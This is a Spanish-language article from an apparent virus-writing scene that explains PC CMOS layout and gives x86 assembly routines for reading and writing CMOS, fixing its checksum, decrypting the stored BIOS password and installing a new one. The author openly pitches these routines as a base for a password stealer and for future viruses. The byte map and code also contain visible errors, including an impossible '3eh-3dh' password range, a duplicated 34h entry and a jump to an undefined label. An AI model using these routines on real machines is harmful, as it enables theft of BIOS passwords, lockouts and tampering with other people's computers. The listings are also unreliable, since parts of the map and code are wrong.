Cómo trabajar con la CMOS.
Como trabajar con la CMOS
Bueno, bueno, bueno... hay veces que no nos damos cuenta de la cantidad
de puertas abiertas y poco (o nada) concurridas que tenemos en cuanto a
la programaci¢n.
Una de estas puertas es la CMOS, una peque¤a zona de nuestro ordenador. Y
como peque¤a, tambi‚n fr gil... y sin explorar.
00-0dh Reloj de tiempo real
0eh Byte de comprobaci¢n de encendido
0fh Byte de comprobaci¢n de reseteo
10h Tipo de diskettera ÄÄ¿
11h Reservado ³
12h Tipo de disco duro ³
13h Reservado ³
14h Byte de hardware ³
15h-16h Tama¤o de la memoria base ³
17h-18h Tama¤o de la memoria adicional ³
19h Tipo de disco duro (HD 1) ³
1ah Tipo de disco duro (HD 2) ³
1bh-2dh Reservados ÄÄÙ
2eh-2fh Checksum de la CMOS (10h-20h)
30h-31h Tama¤o de la memoria adicional
32h Siglo actual (en BCD; estamos en el 19h) :)
33h Informaci¢n adicional
34h Flag de petici¢n de password
34h-37h Reservados
3eh-3dh Password de la CMOS
3eh-3fh Checksum de la CMOS (34h-3dh, 40h-6fh)
Hay m s bytes, y seguro que algunos de los 'reservados' tienen ya un uso
individual... esto est testeado en una AMI BIOS. El caso es que, si que-
remos tocar los cojones, como dice el t¡tulo del informe, lo m s aconse-
jable ser entrarle a la password directamente.
Podemos emplear los bytes reservados de la CMOS en otras aplicaciones m s
sutiles, pero eso tambi‚n me lo 'reservo' ;) yo para mi pr¢xima criatura
artificial.
Bien, como hemos visto, la password est almacenada en los bytes que van
desde 3eh hasta 3dh. Y, por supuesto, la password est encriptada :) Otra
cosa muy importante que tenemos que tener en cuenta es la presencia de un
byte, el 34h, el correspondiente al flag de petici¢n de password.
¨Y qu‚ co¤o es eso? pues muy f cil... este byte contiene en su bit 6 una
informaci¢n imprescindible. Si este bit est puesto a 1, el ordenador so-
licitar la password cada vez que se arranque. En caso de estar a 0, tan
s¢lo la pedir cuando el usuario vaya a entrar a la CMOS.
Bueno, supongamos que un ordenador no tiene password (3eh-3dh estar¡an a
cero), o que ya tiene una, pero se la queremos cambiar... aqu¡ nos encon-
tramos con el primer y £nico problema que se nos presenta al manipular la
CMOS... el maldito checksum.
Tenemos dos checksums, de 16 bits; uno en 2eh-2fh, que 'protege' todo lo
que va desde 10h hasta 20h. El otro, el que nos incumbe para el rollo de
las passwords, que 'protege' desde 34h-3dh hasta 40h-6fh, y que est al-
macenado en 3eh (byte alto) y 3fh (byte bajo).
Lo m s curioso es que el byte de checksum no est protegido, con lo cual,
tenemos v¡a libre para hacer todas las modificaciones que queramos, y as¡
evitar el puto 'CMOS checksum failure' al arrancar.
Ok, todo comprendido... tampoco tiene m s explicaci¢n... se modifica lo
que nos interesa y, si est 'protegido', recalculamos el checksum y a vo-
lar. Ahora lo que nos falta es c¢digo, pero tambi‚n hay de eso :)
Os presento una serie de rutinillas interesantes para hacer manipulacio-
nes en la CMOS a bajo nivel. Ahora no ten‚is excusa para no poder progra-
mar un robapasswords :)
El c¢digo est bastante guarro, pero es m s que suficiente como para con-
trolar el asunto y desarrollarlo cada uno por su cuenta con m s detalle y
detenimiento. Os los pongo como subrutinas, porque as¡ os ser m s c¢modo
para enlazar c¢digo en los ejemplos.
; Lector de CMOS ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Par metros: al=direcci¢n de la CMOS
; Devuelve : al=byte le¡do
read_cmos: and al,7fh ; Operaci¢n l¢gica con 7fh
out 70h,al ; Out a 70h
jmp $+2 ; Delay para input/output
jmp $+2 ; Delay para input/output
in al,71h ; Obtenemos byte en AL
ret ; Volvemos de la llamada
; Escritor de CMOS :) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Par metros: al=direcci¢n de la CMOS
; dh=byte a escribir
; Devuelve : el byte escrito, cajones
write_cmos: and al,7fh ; Operaci¢n l¢gica con 7fh
out 70h,al ; Out a 70h
jmp $+2 ; Delay para input/output
mov al,dh ; Byte a escribir en AL
out 71h,al ; Out a 71h
ret ; Volvemos de la llamada
; Controlador de checksum (3eh-3fh) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Par metros: a fre¡r esp rragos, co¤o
; Devuelve : el checksum correcto, ¨¨¨te parece poco??? ¨¨¨ein???
checksum: xor ah,ah ; Ponemos AH a cero
mov bl,34h ; Byte 34h en BL
mov cx,(3dh-34h+1) ; Primer check+1 en CX
cwd ; Y DX a cero
first: mov al,bl ; Pasamos byte 34h a AL
call read_cmos ; Lo leemos de la CMOS
add dx,ax ; Sumamos AX y DX
inc bl ; Apuntamos al siguiente byte
loop first ; Y repetimos el proceso
mov bl,40h ; Byte 40h en BL
mov cx,(6fh-40h+1) ; Segundo check+1 en CX
second: mov al,bl ; Pasamos byte 40h a AL
call read_cmos ; Lo leemos de la CMOS
add dx,ax ; Sumamos AX y DX
inc bl ; Apuntamos al siguiente byte
loop second ; Y repetimos el proceso
mov al,3eh ; Escribimos byte alto del
call write_cmos ; checksum en 3eh
mov al,3fh ; Escribimos byte bajo del
xchg dl,dh ; checksum en 3fh
call write_cmos ; Y volvemos de la llamada
ret
; Encriptador de passwords ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Par metros: al=byte a encriptar
; Devuelve : al=byte encriptado
encrypt: test al,0c3h ; Comprobamos byte a encriptar
jp rotate_byte ; ¨Par o impar?
stc ; Impar, set direction flag
rotate: rcr al,1 ; Rotamos el byte con 1
ret ; Y volvemos de la llamada
; Desencriptador de la password de la CMOS ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Par metros: es:di=espacio para la password
; Devuelve : es:di=la password en cadena ASCIIZ
; si el primer byte es cero, no hay password
decrypt: cld ; Clear direction flag
mov dh,37h ; 37h=byte anterior a la password
mov al,dh ; de la CMOS -> en AL y DH
call read_cmos ; Lo leemos
and al,0f0h ; Operaci¢n l¢gica con f0h
mov bl,al ; Movemos AL a BL
next: cmp dh,3dh ; ¨Llegamos al final de la pw?
je exit ; En caso afirmativo, salimos
inc dh ; Incrementamos DH
mov al,dh ; Lo pasamos a AL
call read_cmos ; Y leemos ese byte de la CMOS
cmp al,0 ; ¨AL=0?
jz exit ; En ese caso, salimos
xor dl,dl ; Ponemos DL a cero
xchg al,bl ; Intercambiamos AL y BL
one: call encrypt ; Encriptamos byte en AL
inc dl ; Incrementamos DL
cmp al,bl ; ¨AL=BL?
jne one ; Si no es igual, vuelve
mov byte ptr es:[di],dl ; DL -> ES:DI
inc di ; Incrementamos DI
jmp short next ; Repetimos bucle
exit: xor al,al ; Dejamos todo a cero y
stosb ; hacemos mutis por el foro :)
ret
; Instalador de password para la CMOS ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Par metros: ds:si=password a instalar, de seis caracteres m ximo
; Devuelve : la password instalada, ¨le parece poco al se¤orito?
write_pw: mov cx,6 ; Cantidad=6 bytes
mov bl,37h ; Byte preinicio=37h
mov al,bl ; Lo pasamos a AL como par metro
call read_cmos ; Y lo leemos de la CMOS
and al,0f0h ; Operaci¢n l¢gica con f0h
mov bh,al ; Lo pasamos a BH
lodsb ; Load string of bytes
two: cmp al,0 ; ¨AL=0?
jnz three ; Si no lo es, salta a 'three'
mov bh,al ; Pasamos AL a BH y saltamos
jmp four ; a la etiqueta 'four'
three: xchg al,bh ; Intercambiamos AL y BH
call encrypt ; Encriptamos byte en AL
xchg bh,al ; Los intercambiamos de nuevo
dec al ; Decrementamos AL
jnz three ; Si no es cero, salta a 'three'
four: mov dh,bh ; Pasamos byte encriptado a DH
inc bl ; BL=direcci¢n donde escribir
mov al,bl ; Pasamos BL a AL (par metro)
call write_cmos ; Escribimos en la CMOS
loop two ; Ejecutamos el loop
call checksum ; Restauramos el checksum
ret ; Y volvemos de la llamada
Bueno, pues esto es lo que dio de s¡ (al menos de momento) la CMOS. El a-
sunto es 'completable', y os aseguro que sacar‚ un buen partido de esta
nueva mina... y si no, al tiempo.
Espero que os haya gustado y que no me ech‚is en cara mi originalidad a
la hora de poner nombres a las etiquetas O:) Comprended que a estas horas
uno no est muy l£cido. Lo mismo digo en cuanto a la pavisosez de los co-
mentarios, que parece como si los hubiese hecho un robot :)
(c) Klingon tech enterprises
Viral software development ã
[Indice general] - [Sexo] - [linux] - [humor] - Chat entre usuarios - [miscelanea] - [Novedades] -
![]()